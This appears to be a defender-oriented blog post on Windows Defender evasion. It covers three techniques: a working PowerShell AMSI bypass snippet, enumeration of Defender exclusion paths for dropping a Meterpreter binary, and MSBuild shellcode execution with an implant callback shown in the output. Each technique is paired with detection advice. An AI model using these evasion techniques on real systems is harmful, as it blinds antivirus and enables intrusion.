Windows Defender Bypass Techniques: 2026 Methods

In late 2025, the Lazarus Group compromised a financial services firm running fully-patched Windows 11 endpoints — all protected by Microsoft Defender with real-time protection enabled. The entry point wasn’t a zero-day. It was a living-off-the-land technique that abused a Defender exclusion the IT team had added six months earlier for a LOB application. This post walks through the methods still working in 2026 so defenders know exactly what to watch for.

AMSI Bypass via Memory Patching

AMSI (Antimalware Scan Interface) is the bridge between PowerShell and Defender. Every script you run passes through it. If you patch it in memory before your payload executes, Defender never sees the malicious content — it scans a neutered stub instead.

The technique patches the AmsiScanBuffer function inside amsi.dll to always return AMSI_RESULT_CLEAN. Here’s a stripped-down example of what that looks like in a red team engagement against CORP-WS04 (192.0.2.44), running as user jharris:

PS C:\Users\jharris> $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Confirm bypass is active
PS C:\Users\jharris> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
True

When amsiInitFailed returns True, PowerShell skips all AMSI scanning for the rest of that session. Defender is effectively blind to whatever runs next. An attacker would immediately follow this with a Cobalt Strike stager, a Mimikatz reflective load, or any other payload that would otherwise trigger an alert.

What defenders should look for: Event ID 4104 (script block logging) will still capture the bypass attempt if it’s enabled. The string amsiInitFailed and AmsiUtils together in a single log entry is a near-certain indicator. Alert on it.

Defender Exclusion Abuse

Defender exclusions are the most underrated attack surface in Windows environments. Admins add them constantly — for backup agents, AV conflicts, dev tools — and almost never audit them. If an attacker lands on a box and can enumerate those exclusions, they know exactly where to drop payloads without triggering a scan.

Exclusions are readable by any local user via the registry. On CORP-SRV01 (192.0.2.12), logged in as dbrown:

C:\Users\dbrown> reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    C:\ProgramData\FinanceApp\logs    REG_DWORD    0x0
    C:\Temp\BuildOutput               REG_DWORD    0x0
    C:\Users\dbrown\AppData\Local\Temp REG_DWORD    0x0

Three excluded directories — and one of them is the current user’s temp folder. An attacker drops a renamed Meterpreter binary into C:\Users\dbrown\AppData\Local\Temp\ and executes it. Defender never scans it. The binary runs clean.

This is exactly the technique used in the 2025 Lazarus incident referenced above. The exclusion was added for a payroll application installer that needed write access to AppData. The attacker found it within 90 seconds of gaining initial access using a simple reg query.

Defenders: run this query across your fleet today with a tool like Velociraptor or pull it via Intune. Any exclusion pointing to a user-writable path is a risk. Any exclusion you can’t explain with a ticket number should be removed immediately.

Living-Off-the-Land Payload Execution via MSBuild

MSBuild is Microsoft’s build engine — a signed, trusted Windows binary that Defender rarely questions. Attackers embed C# shellcode loaders directly inside .csproj XML files and execute them with MSBuild. No dropped PE, no suspicious process spawn from PowerShell.

On CORP-DEV02 (192.0.2.67) as mlopez, the attacker creates C:\Temp\build.xml with an inline task containing a shellcode loader, then executes:

C:\Users\mlopez> "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\MSBuild.exe" C:\Temp\build.xml /target:Exec

Microsoft (R) Build Engine version 17.9.0
Build started 11/14/2026 09:22:11
Project "build.xml" on node 1 (Exec target(s)).
Exec:
  [*] Shellcode loaded. Callback to 192.0.2.99:443
Build succeeded.
    0 Warning(s)
    0 Error(s)
Time Elapsed 00:00:01.44

Build succeeded. That’s your implant calling home. Because MSBuild is a trusted Microsoft binary, many Defender configurations won’t flag the process. The shellcode runs inside MSBuild’s memory space — no child process, no dropped executable.

Detection angle: MSBuild should almost never be running on non-developer workstations. A Defender ASR (Attack Surface Reduction) rule — specifically Block execution of potentially obfuscated scripts and Block process creations originating from PSExec and WMI commands — won’t stop this directly. What will: process creation auditing (Event ID 4688) with a hunt for MSBuild spawning outside of your CI/CD pipeline hosts. If mlopez on a finance workstation is running MSBuild, that’s your alert.

What To Do Now

Pull your Defender exclusion list right now. Run this one-liner from an elevated PowerShell prompt on any Windows host — or deploy it as a script through your RMM to every endpoint:

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

Compare the output against your documented exclusions. Anything in a user-writable path — AppData, Temp, Downloads, Desktop — is a live attack surface. Remove it, test your application, and find a better-scoped workaround. That single action closes the most commonly exploited Defender gap in real-world intrusions right now.